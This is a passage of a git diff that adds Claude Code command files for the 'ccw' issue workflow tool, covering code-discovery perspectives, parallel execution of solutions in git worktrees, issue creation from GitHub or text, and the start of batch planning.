+      Focus: Missing unit tests, edge case coverage, integration gaps, assertion quality, test isolation
+      Priority: Critical=no security tests, High=no core logic tests, Medium=weak coverage, Low=minor gaps
+    `,
+    quality: `
+      Focus: Complexity, duplication, naming, documentation, code smells, readability
+      Priority: Critical=unmaintainable, High=significant issues, Medium=naming/docs, Low=minor refactoring
+    `,
+    security: `
+      Focus: Input validation, auth/authz, injection, XSS/CSRF, data exposure, access control
+      Priority: Critical=auth bypass/injection, High=missing authz, Medium=weak validation, Low=headers
+    `,
+    performance: `
+      Focus: N+1 queries, memory leaks, caching, algorithm efficiency, blocking operations
+      Priority: Critical=memory leaks, High=N+1/inefficient, Medium=missing cache, Low=minor optimization
+    `,
+    maintainability: `
+      Focus: Coupling, interface design, tech debt, extensibility, module boundaries, configuration
+      Priority: Critical=unrelated code changes, High=unclear boundaries, Medium=coupling, Low=refactoring
+    `,
+    'best-practices': `
+      Focus: Framework conventions, language patterns, anti-patterns, deprecated APIs, coding standards
+      Priority: Critical=anti-patterns causing bugs, High=convention violations, Medium=style, Low=cosmetic
+    `
+  };
+  return guidance[perspective] || 'General code discovery analysis';
+}
+```
+
+## Dashboard Integration
+
+### Viewing Discoveries
+
+Open CCW dashboard to manage discoveries:
+
+```bash
+ccw view
+```
+
+Navigate to **Issues > Discovery** to:
+- View all discovery sessions
+- Filter findings by perspective and priority
+- Preview finding details
+- Select and export findings as issues
+
+### Exporting to Issues
+
+From the dashboard, select findings and click "Export as Issues" to:
+1. Convert discoveries to standard issue format
+2. Append to `.workflow/issues/issues.jsonl`
+3. Set status to `registered`
+4. Continue with `/issue:plan` workflow
+
+## Related Commands
+
+```bash
+# After discovery, plan solutions for exported issues
+/issue:plan DSC-001,DSC-002,DSC-003
+
+# Or use interactive management
+/issue:manage
+```
+
+## Best Practices
+
+1. **Start Focused**: Begin with specific modules rather than entire codebase
+2. **Use Quick Scan First**: Start with bug, test, quality for fast results
+3. **Review Before Export**: Not all discoveries warrant issues - use dashboard to filter
+4. **Combine Perspectives**: Run related perspectives together (e.g., security + bug)
+5. **Enable Exa for New Tech**: When using unfamiliar frameworks, enable external research

.claude/commands/issue/execute.md

@@ -0,0 +1,488 @@
+---
+name: execute
+description: Execute queue with DAG-based parallel orchestration (one commit per solution)
+argument-hint: "[--worktree [<existing-path>]] [--queue <queue-id>]"
+allowed-tools: TodoWrite(*), Bash(*), Read(*), AskUserQuestion(*)
+---
+
+# Issue Execute Command (/issue:execute)
+
+## Overview
+
+Minimal orchestrator that dispatches **solution IDs** to executors. Each executor receives a complete solution with all its tasks.
+
+**Design Principles:**
+- `queue dag` → returns parallel batches with solution IDs (S-1, S-2, ...)
+- `detail <id>` → READ-ONLY solution fetch (returns full solution with all tasks)
+- `done <id>` → update solution completion status
+- No race conditions: status changes only via `done`
+- **Executor handles all tasks within a solution sequentially**
+- **Worktree isolation**: Each executor can work in its own git worktree
+
+## Usage
+
+```bash
+/issue:execute                           # Execute active queue(s)
+/issue:execute --queue QUE-xxx           # Execute specific queue
+/issue:execute --worktree                # Use git worktrees for parallel isolation
+/issue:execute --worktree --queue QUE-xxx
+/issue:execute --worktree /path/to/existing/worktree  # Resume in existing worktree
+```
+
+**Parallelism**: Determined automatically by task dependency DAG (no manual control)
+**Executor & Dry-run**: Selected via interactive prompt (AskUserQuestion)
+**Worktree**: Creates isolated git worktrees for each parallel executor
+
+**⭐ Recommended Executor**: **Codex** - Best for long-running autonomous work (2hr timeout), supports background execution and full write access
+
+**Worktree Options**:
+- `--worktree` - Create a new worktree with timestamp-based name
+- `--worktree <existing-path>` - Resume in an existing worktree (for recovery/continuation)
+
+**Resume**: Use `git worktree list` to find existing worktrees from interrupted executions
+
+## Execution Flow
+
+```
+Phase 0 (if --worktree): Setup Worktree Base
+   └─ Ensure .worktrees directory exists
+
+Phase 1: Get DAG & User Selection
+   ├─ ccw issue queue dag [--queue QUE-xxx] → { parallel_batches: [["S-1","S-2"], ["S-3"]] }
+   └─ AskUserQuestion → executor type (codex|gemini|agent), dry-run mode, worktree mode
+
+Phase 2: Dispatch Parallel Batch (DAG-driven)
+   ├─ Parallelism determined by DAG (no manual limit)
+   ├─ For each solution ID in batch (parallel - all at once):
+   │   ├─ (if worktree) Create isolated worktree: git worktree add
+   │   ├─ Executor calls: ccw issue detail <id>  (READ-ONLY)
+   │   ├─ Executor gets FULL SOLUTION with all tasks
+   │   ├─ Executor implements all tasks sequentially (T1 → T2 → T3)
+   │   ├─ Executor tests + verifies each task
+   │   ├─ Executor commits ONCE per solution (with formatted summary)
+   │   ├─ Executor calls: ccw issue done <id>
+   │   └─ (if worktree) Cleanup: merge branch, remove worktree
+   └─ Wait for batch completion
+
+Phase 3: Next Batch
+   └─ ccw issue queue dag → check for newly-ready solutions
+```
+
+## Implementation
+
+### Phase 1: Get DAG & User Selection
+
+```javascript
+// Get dependency graph and parallel batches
+const dagJson = Bash(`ccw issue queue dag`).trim();
+const dag = JSON.parse(dagJson);
+
+if (dag.error || dag.ready_count === 0) {
+  console.log(dag.error || 'No solutions ready for execution');
+  console.log('Use /issue:queue to form a queue first');
+  return;
+}
+
+console.log(`
+## Queue DAG (Solution-Level)
+
+- Total Solutions: ${dag.total}
+- Ready: ${dag.ready_count}
+- Completed: ${dag.completed_count}
+- Parallel in batch 1: ${dag.parallel_batches[0]?.length || 0}
+`);
+
+// Interactive selection via AskUserQuestion
+const answer = AskUserQuestion({
+  questions: [
+    {
+      question: 'Select executor type:',
+      header: 'Executor',
+      multiSelect: false,
+      options: [
+        { label: 'Codex (Recommended)', description: 'Autonomous coding with full write access' },
+        { label: 'Gemini', description: 'Large context analysis and implementation' },
+        { label: 'Agent', description: 'Claude Code sub-agent for complex tasks' }
+      ]
+    },
+    {
+      question: 'Execution mode:',
+      header: 'Mode',
+      multiSelect: false,
+      options: [
+        { label: 'Execute (Recommended)', description: 'Run all ready solutions' },
+        { label: 'Dry-run', description: 'Show DAG and batches without executing' }
+      ]
+    },
+    {
+      question: 'Use git worktrees for parallel isolation?',
+      header: 'Worktree',
+      multiSelect: false,
+      options: [
+        { label: 'Yes (Recommended for parallel)', description: 'Each executor works in isolated worktree branch' },
+        { label: 'No', description: 'Work directly in current directory (serial only)' }
+      ]
+    }
+  ]
+});
+
+const executor = answer['Executor'].toLowerCase().split(' ')[0];  // codex|gemini|agent
+const isDryRun = answer['Mode'].includes('Dry-run');
+const useWorktree = answer['Worktree'].includes('Yes');
+
+// Dry run mode
+if (isDryRun) {
+  console.log('### Parallel Batches (Dry-run):\n');
+  dag.parallel_batches.forEach((batch, i) => {
+    console.log(`Batch ${i + 1}: ${batch.join(', ')}`);
+  });
+  return;
+}
+```
+
+### Phase 2: Dispatch Parallel Batch (DAG-driven)
+
+```javascript
+// Parallelism determined by DAG - no manual limit
+// All solutions in same batch have NO file conflicts and can run in parallel
+const batch = dag.parallel_batches[0] || [];
+
+// Initialize TodoWrite
+TodoWrite({
+  todos: batch.map(id => ({
+    content: `Execute solution ${id}`,
+    status: 'pending',
+    activeForm: `Executing solution ${id}`
+  }))
+});
+
+console.log(`\n### Executing Solutions (DAG batch 1): ${batch.join(', ')}`);
+
+// Setup worktree base directory if needed (using absolute paths)
+if (useWorktree) {
+  // Use absolute paths to avoid issues when running from subdirectories
+  const repoRoot = Bash('git rev-parse --show-toplevel').trim();
+  const worktreeBase = `${repoRoot}/.ccw/worktrees`;
+  Bash(`mkdir -p "${worktreeBase}"`);
+  // Prune stale worktrees from previous interrupted executions
+  Bash('git worktree prune');
+}
+
+// Parse existing worktree path from args if provided
+// Example: --worktree /path/to/existing/worktree
+const existingWorktree = args.worktree && typeof args.worktree === 'string' ? args.worktree : null;
+
+// Launch ALL solutions in batch in parallel (DAG guarantees no conflicts)
+const executions = batch.map(solutionId => {
+  updateTodo(solutionId, 'in_progress');
+  return dispatchExecutor(solutionId, executor, useWorktree, existingWorktree);
+});
+
+await Promise.all(executions);
+batch.forEach(id => updateTodo(id, 'completed'));
+```
+
+### Executor Dispatch
+
+```javascript
+function dispatchExecutor(solutionId, executorType, useWorktree = false, existingWorktree = null) {
+  // Worktree setup commands (if enabled) - using absolute paths
+  // Supports both creating new worktrees and resuming in existing ones
+  const worktreeSetup = useWorktree ? `
+### Step 0: Setup Isolated Worktree
+\`\`\`bash
+# Use absolute paths to avoid issues when running from subdirectories
+REPO_ROOT=$(git rev-parse --show-toplevel)
+WORKTREE_BASE="\${REPO_ROOT}/.ccw/worktrees"
+
+# Check if existing worktree path was provided
+EXISTING_WORKTREE="${existingWorktree || ''}"
+
+if [[ -n "\${EXISTING_WORKTREE}" && -d "\${EXISTING_WORKTREE}" ]]; then
+  # Resume mode: Use existing worktree
+  WORKTREE_PATH="\${EXISTING_WORKTREE}"
+  WORKTREE_NAME=$(basename "\${WORKTREE_PATH}")
+
+  # Verify it's a valid git worktree
+  if ! git -C "\${WORKTREE_PATH}" rev-parse --is-inside-work-tree &>/dev/null; then
+    echo "Error: \${EXISTING_WORKTREE} is not a valid git worktree"
+    exit 1
+  fi
+
+  echo "Resuming in existing worktree: \${WORKTREE_PATH}"
+else
+  # Create mode: New worktree with timestamp
+  WORKTREE_NAME="exec-${solutionId}-$(date +%H%M%S)"
+  WORKTREE_PATH="\${WORKTREE_BASE}/\${WORKTREE_NAME}"
+
+  # Ensure worktree base exists
+  mkdir -p "\${WORKTREE_BASE}"
+
+  # Prune stale worktrees
+  git worktree prune
+
+  # Create worktree
+  git worktree add "\${WORKTREE_PATH}" -b "\${WORKTREE_NAME}"
+
+  echo "Created new worktree: \${WORKTREE_PATH}"
+fi
+
+# Setup cleanup trap for graceful failure handling
+cleanup_worktree() {
+  echo "Cleaning up worktree due to interruption..."
+  cd "\${REPO_ROOT}" 2>/dev/null || true
+  git worktree remove "\${WORKTREE_PATH}" --force 2>/dev/null || true
+  echo "Worktree removed. Branch '\${WORKTREE_NAME}' kept for inspection."
+}
+trap cleanup_worktree EXIT INT TERM
+
+cd "\${WORKTREE_PATH}"
+\`\`\`
+` : '';
+
+  const worktreeCleanup = useWorktree ? `
+### Step 5: Worktree Completion (User Choice)
+
+After all tasks complete, prompt for merge strategy:
+
+\`\`\`javascript
+AskUserQuestion({
+  questions: [{
+    question: "Solution ${solutionId} completed. What to do with worktree branch?",
+    header: "Merge",
+    multiSelect: false,
+    options: [
+      { label: "Create PR (Recommended)", description: "Push branch and create pull request - safest for parallel execution" },
+      { label: "Merge to main", description: "Merge branch and cleanup worktree (requires clean main)" },
+      { label: "Keep branch", description: "Cleanup worktree, keep branch for manual handling" }
+    ]
+  }]
+})
+\`\`\`
+
+**Based on selection:**
+\`\`\`bash
+# Disable cleanup trap before intentional cleanup
+trap - EXIT INT TERM
+
+# Return to repo root (use REPO_ROOT from setup)
+cd "\${REPO_ROOT}"
+
+# Validate main repo state before merge
+validate_main_clean() {
+  if [[ -n \$(git status --porcelain) ]]; then
+    echo "⚠️ Warning: Main repo has uncommitted changes."
+    echo "Cannot auto-merge. Falling back to 'Create PR' option."
+    return 1
+  fi
+  return 0
+}
+
+# Create PR (Recommended for parallel execution):
+git push -u origin "\${WORKTREE_NAME}"
+gh pr create --title "Solution ${solutionId}" --body "Issue queue execution"
+git worktree remove "\${WORKTREE_PATH}"
+
+# Merge to main (only if main is clean):
+if validate_main_clean; then
+  git merge --no-ff "\${WORKTREE_NAME}" -m "Merge solution ${solutionId}"
+  git worktree remove "\${WORKTREE_PATH}" && git branch -d "\${WORKTREE_NAME}"
+else
+  # Fallback to PR if main is dirty
+  git push -u origin "\${WORKTREE_NAME}"
+  gh pr create --title "Solution ${solutionId}" --body "Issue queue execution (main had uncommitted changes)"
+  git worktree remove "\${WORKTREE_PATH}"
+fi
+
+# Keep branch:
+git worktree remove "\${WORKTREE_PATH}"
+echo "Branch \${WORKTREE_NAME} kept for manual handling"
+\`\`\`
+
+**Parallel Execution Safety**: "Create PR" is the default and safest option for parallel executors, avoiding merge race conditions.
+` : '';
+
+  const prompt = `
+## Execute Solution ${solutionId}
+${worktreeSetup}
+### Step 1: Get Solution (read-only)
+\`\`\`bash
+ccw issue detail ${solutionId}
+\`\`\`
+
+### Step 2: Execute All Tasks Sequentially
+The detail command returns a FULL SOLUTION with all tasks.
+Execute each task in order (T1 → T2 → T3 → ...):
+
+For each task:
+1. Follow task.implementation steps
+2. Run task.test commands
+3. Verify task.acceptance criteria
+(Do NOT commit after each task)
+
+### Step 3: Commit Solution (Once)
+After ALL tasks pass, commit once with formatted summary:
+\`\`\`bash
+git add <all-modified-files>
+git commit -m "[type](scope): [solution.description]
+
+## Solution Summary
+- Solution-ID: ${solutionId}
+- Tasks: T1, T2, ...
+
+## Tasks Completed
+- [T1] task1.title: action
+- [T2] task2.title: action
+
+## Files Modified
+- file1.ts
+- file2.ts
+
+## Verification
+- All tests passed
+- All acceptance criteria verified"
+\`\`\`
+
+### Step 4: Report Completion
+\`\`\`bash
+ccw issue done ${solutionId} --result '{"summary": "...", "files_modified": [...], "commit": {"hash": "...", "type": "feat"}, "tasks_completed": N}'
+\`\`\`
+
+If any task failed:
+\`\`\`bash
+ccw issue done ${solutionId} --fail --reason '{"task_id": "TX", "error_type": "test_failure", "message": "..."}'
+\`\`\`
+${worktreeCleanup}`;
+
+  if (executorType === 'codex') {
+    return Bash(
+      `ccw cli -p "${escapePrompt(prompt)}" --tool codex --mode write --id exec-${solutionId}`,
+      { timeout: 7200000, run_in_background: true }  // 2hr for full solution
+    );
+  } else if (executorType === 'gemini') {
+    return Bash(
+      `ccw cli -p "${escapePrompt(prompt)}" --tool gemini --mode write --id exec-${solutionId}`,
+      { timeout: 3600000, run_in_background: true }
+    );
+  } else {
+    return Task({
+      subagent_type: 'code-developer',
+      run_in_background: false,
+      description: `Execute solution ${solutionId}`,
+      prompt: prompt
+    });
+  }
+}
+```
+
+### Phase 3: Check Next Batch
+
+```javascript
+// Refresh DAG after batch completes
+const refreshedDag = JSON.parse(Bash(`ccw issue queue dag`).trim());
+
+console.log(`
+## Batch Complete
+
+- Solutions Completed: ${refreshedDag.completed_count}/${refreshedDag.total}
+- Next ready: ${refreshedDag.ready_count}
+`);
+
+if (refreshedDag.ready_count > 0) {
+  console.log('Run `/issue:execute` again for next batch.');
+}
+```
+
+## Parallel Execution Model
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│ Orchestrator                                                │
+├─────────────────────────────────────────────────────────────┤
+│ 1. ccw issue queue dag                                      │
+│    → { parallel_batches: [["S-1","S-2"], ["S-3"]] }        │
+│                                                             │
+│ 2. Dispatch batch 1 (parallel):                            │
+│    ┌──────────────────────┐ ┌──────────────────────┐       │
+│    │ Executor 1           │ │ Executor 2           │       │
+│    │ detail S-1           │ │ detail S-2           │       │
+│    │ → gets full solution │ │ → gets full solution │       │
+│    │ [T1→T2→T3 sequential]│ │ [T1→T2 sequential]   │       │
+│    │ commit (1x solution) │ │ commit (1x solution) │       │
+│    │ done S-1             │ │ done S-2             │       │
+│    └──────────────────────┘ └──────────────────────┘       │
+│                                                             │
+│ 3. ccw issue queue dag (refresh)                           │
+│    → S-3 now ready (S-1 completed, file conflict resolved) │
+└─────────────────────────────────────────────────────────────┘
+```
+
+**Why this works for parallel:**
+- `detail <id>` is READ-ONLY → no race conditions
+- Each executor handles **all tasks within a solution** sequentially
+- **One commit per solution** with formatted summary (not per-task)
+- `done <id>` updates only its own solution status
+- `queue dag` recalculates ready solutions after each batch
+- Solutions in same batch have NO file conflicts
+
+## CLI Endpoint Contract
+
+### `ccw issue queue dag`
+Returns dependency graph with parallel batches (solution-level):
+```json
+{
+  "queue_id": "QUE-...",
+  "total": 3,
+  "ready_count": 2,
+  "completed_count": 0,
+  "nodes": [
+    { "id": "S-1", "issue_id": "ISS-xxx", "status": "pending", "ready": true, "task_count": 3 },
+    { "id": "S-2", "issue_id": "ISS-yyy", "status": "pending", "ready": true, "task_count": 2 },
+    { "id": "S-3", "issue_id": "ISS-zzz", "status": "pending", "ready": false, "depends_on": ["S-1"] }
+  ],
+  "parallel_batches": [["S-1", "S-2"], ["S-3"]]
+}
+```
+
+### `ccw issue detail <item_id>`
+Returns FULL SOLUTION with all tasks (READ-ONLY):
+```json
+{
+  "item_id": "S-1",
+  "issue_id": "ISS-xxx",
+  "solution_id": "SOL-xxx",
+  "status": "pending",
+  "solution": {
+    "id": "SOL-xxx",
+    "approach": "...",
+    "tasks": [
+      { "id": "T1", "title": "...", "implementation": [...], "test": {...} },
+      { "id": "T2", "title": "...", "implementation": [...], "test": {...} },
+      { "id": "T3", "title": "...", "implementation": [...], "test": {...} }
+    ],
+    "exploration_context": { "relevant_files": [...] }
+  },
+  "execution_hints": { "executor": "codex", "estimated_minutes": 180 }
+}
+```
+
+### `ccw issue done <item_id>`
+Marks solution completed/failed, updates queue state, checks for queue completion.
+
+## Error Handling
+
+| Error | Resolution |
+|-------|------------|
+| No queue | Run /issue:queue first |
+| No ready solutions | Dependencies blocked, check DAG |
+| Executor timeout | Solution not marked done, can retry |
+| Solution failure | Use `ccw issue retry` to reset |
+| Partial task failure | Executor reports which task failed via `done --fail` |
+
+## Related Commands
+
+- `/issue:plan` - Plan issues with solutions
+- `/issue:queue` - Form execution queue
+- `ccw issue queue dag` - View dependency graph
+- `ccw issue detail <id>` - View task details
+- `ccw issue retry` - Reset failed tasks

.claude/commands/issue/new.md

@@ -0,0 +1,323 @@
+---
+name: new
+description: Create structured issue from GitHub URL or text description
+argument-hint: "<github-url | text-description> [--priority 1-5]"
+allowed-tools: TodoWrite(*), Bash(*), Read(*), AskUserQuestion(*), mcp__ace-tool__search_context(*)
+---
+
+# Issue New Command (/issue:new)
+
+## Core Principle
+
+**Requirement Clarity Detection** → Ask only when needed
+
+```
+Clear Input (GitHub URL, structured text)  → Direct creation
+Unclear Input (vague description)          → Minimal clarifying questions
+```
+
+## Issue Structure 
+
+```typescript
+interface Issue {
+  id: string;                    // GH-123 or ISS-YYYYMMDD-HHMMSS
+  title: string;
+  status: 'registered' | 'planned' | 'queued' | 'in_progress' | 'completed' | 'failed';
+  priority: number;              // 1 (critical) to 5 (low)
+  context: string;               // Problem description (single source of truth)
+  source: 'github' | 'text' | 'discovery';
+  source_url?: string;
+  labels?: string[];
+
+  // Optional structured fields
+  expected_behavior?: string;
+  actual_behavior?: string;
+  affected_components?: string[];
+
+  // Feedback history (failures + human clarifications)
+  feedback?: {
+    type: 'failure' | 'clarification' | 'rejection';
+    stage: string;               // new/plan/execute
+    content: string;
+    created_at: string;
+  }[];
+
+  // Solution binding
+  bound_solution_id: string | null;
+
+  // Timestamps
+  created_at: string;
+  updated_at: string;
+}
+```
+
+## Quick Reference
+
+```bash
+# Clear inputs - direct creation
+/issue:new https://github.com/owner/repo/issues/123
+/issue:new "Login fails with special chars. Expected: success. Actual: 500 error"
+
+# Vague input - will ask clarifying questions
+/issue:new "something wrong with auth"
+```
+
+## Implementation
+
+### Phase 1: Input Analysis & Clarity Detection
+
+```javascript
+const input = userInput.trim();
+const flags = parseFlags(userInput);  // --priority
+
+// Detect input type and clarity
+const isGitHubUrl = input.match(/github\.com\/[\w-]+\/[\w-]+\/issues\/\d+/);
+const isGitHubShort = input.match(/^#(\d+)$/);
+const hasStructure = input.match(/(expected|actual|affects|steps):/i);
+
+// Clarity score: 0-3
+let clarityScore = 0;
+if (isGitHubUrl || isGitHubShort) clarityScore = 3;  // GitHub = fully clear
+else if (hasStructure) clarityScore = 2;             // Structured text = clear
+else if (input.length > 50) clarityScore = 1;        // Long text = somewhat clear
+else clarityScore = 0;                               // Vague
+
+let issueData = {};
+```
+
+### Phase 2: Data Extraction (GitHub or Text)
+
+```javascript
+if (isGitHubUrl || isGitHubShort) {
+  // GitHub - fetch via gh CLI
+  const result = Bash(`gh issue view ${extractIssueRef(input)} --json number,title,body,labels,url`);
+  const gh = JSON.parse(result);
+  issueData = {
+    id: `GH-${gh.number}`,
+    title: gh.title,
+    source: 'github',
+    source_url: gh.url,
+    labels: gh.labels.map(l => l.name),
+    context: gh.body?.substring(0, 500) || gh.title,
+    ...parseMarkdownBody(gh.body)
+  };
+} else {
+  // Text description
+  issueData = {
+    id: `ISS-${new Date().toISOString().replace(/[-:T]/g, '').slice(0, 14)}`,
+    source: 'text',
+    ...parseTextDescription(input)
+  };
+}
+```
+
+### Phase 3: Lightweight Context Hint (Conditional)
+
+```javascript
+// ACE search ONLY for medium clarity (1-2) AND missing components
+// Skip for: GitHub (has context), vague (needs clarification first)
+// Note: Deep exploration happens in /issue:plan, this is just a quick hint
+
+if (clarityScore >= 1 && clarityScore <= 2 && !issueData.affected_components?.length) {
+  const keywords = extractKeywords(issueData.context);
+
+  if (keywords.length >= 2) {
+    try {
+      const aceResult = mcp__ace-tool__search_context({
+        project_root_path: process.cwd(),
+        query: keywords.slice(0, 3).join(' ')
+      });
+      issueData.affected_components = aceResult.files?.slice(0, 3) || [];
+    } catch {
+      // ACE failure is non-blocking
+    }
+  }
+}
+```
+
+### Phase 4: Conditional Clarification (Only if Unclear)
+
+```javascript
+// ONLY ask questions if clarity is low - simple open-ended prompt
+if (clarityScore < 2 && (!issueData.context || issueData.context.length < 20)) {
+  const answer = AskUserQuestion({
+    questions: [{
+      question: 'Please describe the issue in more detail:',
+      header: 'Clarify',
+      multiSelect: false,
+      options: [
+        { label: 'Provide details', description: 'Describe what, where, and expected behavior' }
+      ]
+    }]
+  });
+
+  // Use custom text input (via "Other")
+  if (answer.customText) {
+    issueData.context = answer.customText;
+    issueData.title = answer.customText.split(/[.\n]/)[0].substring(0, 60);
+    issueData.feedback = [{
+      type: 'clarification',
+      stage: 'new',
+      content: answer.customText,
+      created_at: new Date().toISOString()
+    }];
+  }
+}
+```
+
+### Phase 5: Create Issue
+
+**Summary Display:**
+- Show ID, title, source, affected files (if any)
+
+**Confirmation** (only for vague inputs, clarityScore < 2):
+- Use `AskUserQuestion` to confirm before creation
+
+**Issue Creation** (via CLI endpoint):
+```bash
+# Option 1: Pipe input (recommended for complex JSON - avoids shell escaping)
+echo '{"title":"...", "context":"...", "priority":3}' | ccw issue create
+
+# Option 2: Heredoc (for multi-line JSON)
+ccw issue create << 'EOF'
+{"title":"...", "context":"含\"引号\"的内容", "priority":3}
+EOF
+
+# Option 3: --data parameter (simple cases only)
+ccw issue create --data '{"title":"...", "priority":3}'
+```
+
+**CLI Endpoint Features:**
+| Feature | Description |
+|---------|-------------|
+| Auto-increment ID | `ISS-YYYYMMDD-NNN` (e.g., `ISS-20251229-001`) |
+| Trailing newline | Proper JSONL format, no corruption |
+| JSON output | Returns created issue with all fields |
+
+**Example:**
+```bash
+# Create issue via pipe (recommended)
+echo '{"title": "Login fails with special chars", "context": "500 error when password contains quotes", "priority": 2}' | ccw issue create
+
+# Or with heredoc for complex JSON
+ccw issue create << 'EOF'
+{
+  "title": "Login fails with special chars",
+  "context": "500 error when password contains \"quotes\"",
+  "priority": 2,
+  "source": "text",
+  "expected_behavior": "Login succeeds",
+  "actual_behavior": "500 Internal Server Error"
+}
+EOF
+
+# Output (JSON)
+{
+  "id": "ISS-20251229-001",
+  "title": "Login fails with special chars",
+  "status": "registered",
+  ...
+}
+```
+
+**Completion:**
+- Display created issue ID
+- Show next step: `/issue:plan <id>`
+
+## Execution Flow
+
+```
+Phase 1: Input Analysis
+   └─ Detect clarity score (GitHub URL? Structured text? Keywords?)
+
+Phase 2: Data Extraction (branched by clarity)
+   ┌────────────┬─────────────────┬──────────────┐
+   │  Score 3   │   Score 1-2     │   Score 0    │
+   │  GitHub    │   Text + ACE    │   Vague      │
+   ├────────────┼─────────────────┼──────────────┤
+   │  gh CLI    │  Parse struct   │ AskQuestion  │
+   │  → parse   │  + quick hint   │ (1 question) │
+   │            │  (3 files max)  │  → feedback  │
+   └────────────┴─────────────────┴──────────────┘
+
+Phase 3: Create Issue
+   ├─ Score ≥ 2: Direct creation
+   └─ Score < 2: Confirm first → Create
+
+Note: Deep exploration & lifecycle deferred to /issue:plan
+```
+
+## Helper Functions
+
+```javascript
+function extractKeywords(text) {
+  const stopWords = new Set(['the', 'a', 'an', 'is', 'are', 'was', 'were', 'not', 'with']);
+  return text
+    .toLowerCase()
+    .split(/\W+/)
+    .filter(w => w.length > 3 && !stopWords.has(w))
+    .slice(0, 5);
+}
+
+function parseTextDescription(text) {
+  const result = { title: '', context: '' };
+  const sentences = text.split(/\.(?=\s|$)/);
+
+  result.title = sentences[0]?.trim().substring(0, 60) || 'Untitled';
+  result.context = text.substring(0, 500);
+
+  // Extract structured fields if present
+  const expected = text.match(/expected:?\s*([^.]+)/i);
+  const actual = text.match(/actual:?\s*([^.]+)/i);
+  const affects = text.match(/affects?:?\s*([^.]+)/i);
+
+  if (expected) result.expected_behavior = expected[1].trim();
+  if (actual) result.actual_behavior = actual[1].trim();
+  if (affects) {
+    result.affected_components = affects[1].split(/[,\s]+/).filter(c => c.includes('/') || c.includes('.'));
+  }
+
+  return result;
+}
+
+function parseMarkdownBody(body) {
+  if (!body) return {};
+  const result = {};
+
+  const problem = body.match(/##?\s*(problem|description)[:\s]*([\s\S]*?)(?=##|$)/i);
+  const expected = body.match(/##?\s*expected[:\s]*([\s\S]*?)(?=##|$)/i);
+  const actual = body.match(/##?\s*actual[:\s]*([\s\S]*?)(?=##|$)/i);
+
+  if (problem) result.context = problem[2].trim().substring(0, 500);
+  if (expected) result.expected_behavior = expected[2].trim();
+  if (actual) result.actual_behavior = actual[2].trim();
+
+  return result;
+}
+```
+
+## Examples
+
+### Clear Input (No Questions)
+
+```bash
+/issue:new https://github.com/org/repo/issues/42
+# → Fetches, parses, creates immediately
+
+/issue:new "Login fails with special chars. Expected: success. Actual: 500"
+# → Parses structure, creates immediately
+```
+
+### Vague Input (1 Question)
+
+```bash
+/issue:new "auth broken"
+# → Asks: "Input unclear. What is the issue about?"
+# → User provides details → saved to feedback[]
+# → Creates issue
+```
+
+## Related Commands
+
+- `/issue:plan` - Plan solution for issue
+

.claude/commands/issue/plan.md

@@ -0,0 +1,329 @@
+---
+name: plan
+description: Batch plan issue resolution using issue-plan-agent (explore + plan closed-loop)
+argument-hint: "--all-pending <issue-id>[,<issue-id>,...] [--batch-size 3] "
+allowed-tools: TodoWrite(*), Task(*), SlashCommand(*), AskUserQuestion(*), Bash(*), Read(*), Write(*)
+---
+
+# Issue Plan Command (/issue:plan)
+
+## Overview
+
+Unified planning command using **issue-plan-agent** that combines exploration and planning into a single closed-loop workflow.
+
+**Behavior:**
+- Single solution per issue → auto-bind
+- Multiple solutions → return for user selection
+- Agent handles file generation
+
+## Core Guidelines
+
+**⚠️ Data Access Principle**: Issues and solutions files can grow very large. To avoid context overflow:
+
+| Operation | Correct | Incorrect |
+|-----------|---------|-----------|
+| List issues (brief) | `ccw issue list --status pending --brief` | `Read('issues.jsonl')` |
+| Read issue details | `ccw issue status <id> --json` | `Read('issues.jsonl')` |
+| Update status | `ccw issue update <id> --status ...` | Direct file edit |
+| Bind solution | `ccw issue bind <id> <sol-id>` | Direct file edit |
+
+**Output Options**:
+- `--brief`: JSON with minimal fields (id, title, status, priority, tags)
+- `--json`: Full JSON (agent use only)
+
+**Orchestration vs Execution**:
+- **Command (orchestrator)**: Use `--brief` for minimal context
+- **Agent (executor)**: Fetch full details → `ccw issue status <id> --json`
+
+**ALWAYS** use CLI commands for CRUD operations. **NEVER** read entire `issues.jsonl` or `solutions/*.jsonl` directly. 
+
+## Usage
+
+```bash
+/issue:plan [<issue-id>[,<issue-id>,...]] [FLAGS]
+
+# Examples
+/issue:plan                           # Default: --all-pending
+/issue:plan GH-123                    # Single issue
+/issue:plan GH-123,GH-124,GH-125      # Batch (up to 3)
+/issue:plan --all-pending             # All pending issues (explicit)
+
+# Flags
+--batch-size <n>      Max issues per agent batch (default: 3)
+```
+
+## Execution Process
+
+```
+Phase 1: Issue Loading
+   ├─ Parse input (single, comma-separated, or --all-pending)
+   ├─ Fetch issue metadata (ID, title, tags)
+   ├─ Validate issues exist (create if needed)
+   └─ Group by similarity (shared tags or title keywords, max 3 per batch)
+
+Phase 2: Unified Explore + Plan (issue-plan-agent)
+   ├─ Launch issue-plan-agent per batch
+   ├─ Agent performs:
+   │   ├─ ACE semantic search for each issue
+   │   ├─ Codebase exploration (files, patterns, dependencies)
+   │   ├─ Solution generation with task breakdown
+   │   └─ Conflict detection across issues
+   └─ Output: solution JSON per issue
+
+Phase 3: Solution Registration & Binding
+   ├─ Append solutions to solutions/{issue-id}.jsonl
+   ├─ Single solution per issue → auto-bind
+   ├─ Multiple candidates → AskUserQuestion to select
+   └─ Update issues.jsonl with bound_solution_id
+
+Phase 4: Summary
+   ├─ Display bound solutions
+   ├─ Show task counts per issue
+   └─ Display next steps (/issue:queue)
+```
+
+## Implementation
+
+### Phase 1: Issue Loading (Brief Info Only)
+
+```javascript
+const batchSize = flags.batchSize || 3;
+let issues = [];  // {id, title, tags} - brief info for grouping only
+
+// Default to --all-pending if no input provided
+const useAllPending = flags.allPending || !userInput || userInput.trim() === '';
+
+if (useAllPending) {
+  // Get pending issues with brief metadata via CLI
+  const result = Bash(`ccw issue list --status pending,registered --json`).trim();
+  const parsed = result ? JSON.parse(result) : [];
+  issues = parsed.map(i => ({ id: i.id, title: i.title || '', tags: i.tags || [] }));
+
+  if (issues.length === 0) {
+    console.log('No pending issues found.');
+    return;
+  }
+  console.log(`Found ${issues.length} pending issues`);
+} else {
+  // Parse comma-separated issue IDs, fetch brief metadata
+  const ids = userInput.includes(',')
+    ? userInput.split(',').map(s => s.trim())
+    : [userInput.trim()];
+
+  for (const id of ids) {
+    Bash(`ccw issue init ${id} --title "Issue ${id}" 2>/dev/null || true`);
+    const info = Bash(`ccw issue status ${id} --json`).trim();
+    const parsed = info ? JSON.parse(info) : {};
